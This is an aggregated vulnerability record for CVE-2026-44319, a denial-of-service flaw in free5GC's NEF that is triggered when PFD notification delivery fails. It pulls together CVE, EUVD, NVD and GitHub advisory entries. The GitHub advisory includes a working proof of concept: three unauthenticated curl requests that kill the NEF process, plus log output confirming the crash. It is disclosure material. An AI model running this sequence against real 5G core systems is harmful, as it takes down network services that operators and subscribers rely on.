{"id":"CVE-2026-44319","revision":null,"records":[{"revision":"9b4216890ba04b3380a3bcfeaf4b5bc8","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44319","aliases":[],"title":"free5GC: NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri)","description":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier calls NnefPFDmanagementNotify(...) and on any delivery error invokes logger.PFDManageLog.Fatal(err), which is os.Exit(1)-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen notifyUri and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status 1, dropping NEF's entire SBI surface until restart. This vulnerability is fixed in 4.2.2.","state":0,"publishedAt":"2026-05-27T15:49:20.934+00:00","modifiedAt":"2026-05-28T14:15:51.359+00:00","affected":[{"ecosystem":"Vendor product","name":"free5gc","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"free5gc\",\n                    \"product\": \"free5gc\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.2.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-rxrq-fv76-26pr","https://github.com/free5gc/free5gc/issues/924","https://github.com/free5gc/nef/pull/25","https://github.com/free5gc/nef/commit/f110517b1189801950b50668a593398687049074"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44319","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44319","identifiers":["CVE-2026-44319"]},"retained":false,"historicalAffected":[]},{"revision":"9ee67382cc1a4e7391652a3be51da425","observedAt":"2026-11-09T11:03:41.146+00:00","statement":{"source":"euvd","id":"EUVD-2026-32579","aliases":["CVE-2026-44319","GHSA-rxrq-fv76-26pr"],"title":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier…","description":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier calls NnefPFDmanagementNotify(...) and on any delivery error invokes logger.PFDManageLog.Fatal(err), which is os.Exit(1)-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen notifyUri and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status 1, dropping NEF's entire SBI surface until restart. This vulnerability is fixed in 4.2.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-rxrq-fv76-26pr","https://github.com/free5gc/free5gc/issues/924","https://github.com/free5gc/nef/pull/25","https://github.com/free5gc/nef/commit/f110517b1189801950b50668a593398687049074"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-32579","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 27, 2026, 3:49:20 PM","dateUpdated":"May 28, 2026, 2:15:51 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-32579","identifiers":["EUVD-2026-32579","CVE-2026-44319","GHSA-rxrq-fv76-26pr"]},"retained":false,"historicalAffected":[]},{"revision":"c99e66690eef43c59ab83fc1cf3ba54d","observedAt":"2026-10-25T10:17:21.823+00:00","statement":{"source":"nvd","id":"CVE-2026-44319","aliases":[],"title":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier…","description":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier calls NnefPFDmanagementNotify(...) and on any delivery error invokes logger.PFDManageLog.Fatal(err), which is os.Exit(1)-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen notifyUri and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status 1, dropping NEF's entire SBI surface until restart. This vulnerability is fixed in 4.2.2.","state":0,"publishedAt":"2026-05-27T17:16:37.033+00:00","modifiedAt":"2026-10-14T20:10:00.19+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/free5gc/free5gc/issues/924","https://github.com/free5gc/free5gc/security/advisories/GHSA-rxrq-fv76-26pr","https://github.com/free5gc/nef/commit/f110517b1189801950b50668a593398687049074","https://github.com/free5gc/nef/pull/25"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44319","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-20","CWE-617","CWE-755"],"productCriteria":["cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-27T17:16:37.033","lastModified":"2026-10-14T20:10:00.190"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44319","identifiers":["CVE-2026-44319"]},"retained":false,"historicalAffected":[]},{"revision":"46ce61ad334d4b25ab26eb662c74cf4c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-rxrq-fv76-26pr","aliases":["CVE-2026-44319","GO-2026-5647"],"title":"free5GC's NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri)","description":"### Summary\nfree5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`).\n\nThe trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above.\n\n### Details\nValidated against the NEF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nef:v4.2.1`\n- Runtime NEF commit: `5ce35eab`\n- Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`)\n- NEF endpoint: `http://10.100.200.19:8000`\n\nVulnerable notifier path:\n```go\n_, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify(\n    context.TODO(), nc.notifier.getSubURI(id), notifyReq)\nif err != nil {\n    logger.PFDManageLog.Fatal(err)   // <-- os.Exit(1)-equivalent\n}\n```\n\nThe failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die.\n\nCode evidence (paths in `free5gc/nef`):\n- Notifier dispatch:\n  - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135`\n- Fatal call site (process exit):\n  - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142`\n\n### PoC\nReproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit.\n\n1. Create an AF context (no Authorization header):\n```\ncurl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"afAppId\":\"app-nef-dos\",\"anyUeInd\":true}'\n```\n```\nHTTP/1.1 201 Created\nLocation: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1\n```\n\n2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally):\n```\ncurl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"applicationIds\":[\"app-nef-dos\"],\"notifyUri\":\"http://127.0.0.1:1/notify\"}'\n```\n```\nHTTP/1.1 201 Created\nLocation: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1\n```\n\n3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI:\n```\ncurl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"pfdDatas\":{\"app-nef-dos\":{\"externalAppId\":\"app-nef-dos\",\"pfds\":{\"pfd1\":{\"pfdId\":\"pfd1\",\"flowDescriptions\":[\"permit in ip from 10.68.28.39 80 to any\",\"permit out ip from any to 10.68.28.39 80\"]}}}}}'\n```\nThe PFD POST itself returns `201`, but immediately afterward NEF exits.\n\n4. Confirm the NEF container is dead (`exited`, `exit=1`):\n```\ndocker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}'\n```\n```\nstatus=exited restart=0 exit=1\n```\n\n5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process:\n```\n[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos]\n[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation\n[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added\n[INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions |\n[FATA][NEF][PFDMng] Post \"http://127.0.0.1:1/notify\": dial tcp 127.0.0.1:1: connect: connection refused\n```\n\n### Impact\nReachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates.\n\nIn v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can:\n- Submit the three-step trigger anonymously and immediately terminate the NEF process.\n- Repeat the trigger after every restart to sustain the outage.\n- Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family.\n\nNo Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/924\nUpstream fix: https://github.com/free5gc/nef/pull/25","state":0,"publishedAt":"2026-05-08T22:44:35+00:00","modifiedAt":"2026-06-25T23:11:12.4826389+00:00","affected":[{"ecosystem":"Go","name":"github.com/free5gc/nef","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.2.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-rxrq-fv76-26pr","https://nvd.nist.gov/vuln/detail/CVE-2026-44319","https://github.com/free5gc/free5gc/issues/924","https://github.com/free5gc/nef/pull/25","https://github.com/free5gc/nef/commit/f110517b1189801950b50668a593398687049074","https://github.com/free5gc/free5gc"],"sourceUrl":"https://github.com/advisories/GHSA-rxrq-fv76-26pr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-rxrq-fv76-26pr","identifiers":["GHSA-rxrq-fv76-26pr","CVE-2026-44319","GO-2026-5647"]},"retained":false,"historicalAffected":[]},{"revision":"1ab1306857864abdbbc4a8ab0a500493","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5647","aliases":["CVE-2026-44319","GHSA-rxrq-fv76-26pr"],"title":"free5GC's NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri) in github.com/free5gc/nef","description":"free5GC's NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri) in github.com/free5gc/nef","state":0,"publishedAt":"2026-06-25T22:34:38+00:00","modifiedAt":"2026-06-25T23:01:37.6728478+00:00","affected":[{"ecosystem":"Go","name":"github.com/free5gc/nef","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.2.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-rxrq-fv76-26pr","https://nvd.nist.gov/vuln/detail/CVE-2026-44319","https://github.com/free5gc/nef/commit/f110517b1189801950b50668a593398687049074","https://github.com/free5gc/nef/pull/25","https://github.com/free5gc/free5gc/issues/924"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5647","license":"OSV · upstream source license applies","key":"osv:GO-2026-5647","identifiers":["GO-2026-5647","CVE-2026-44319","GHSA-rxrq-fv76-26pr"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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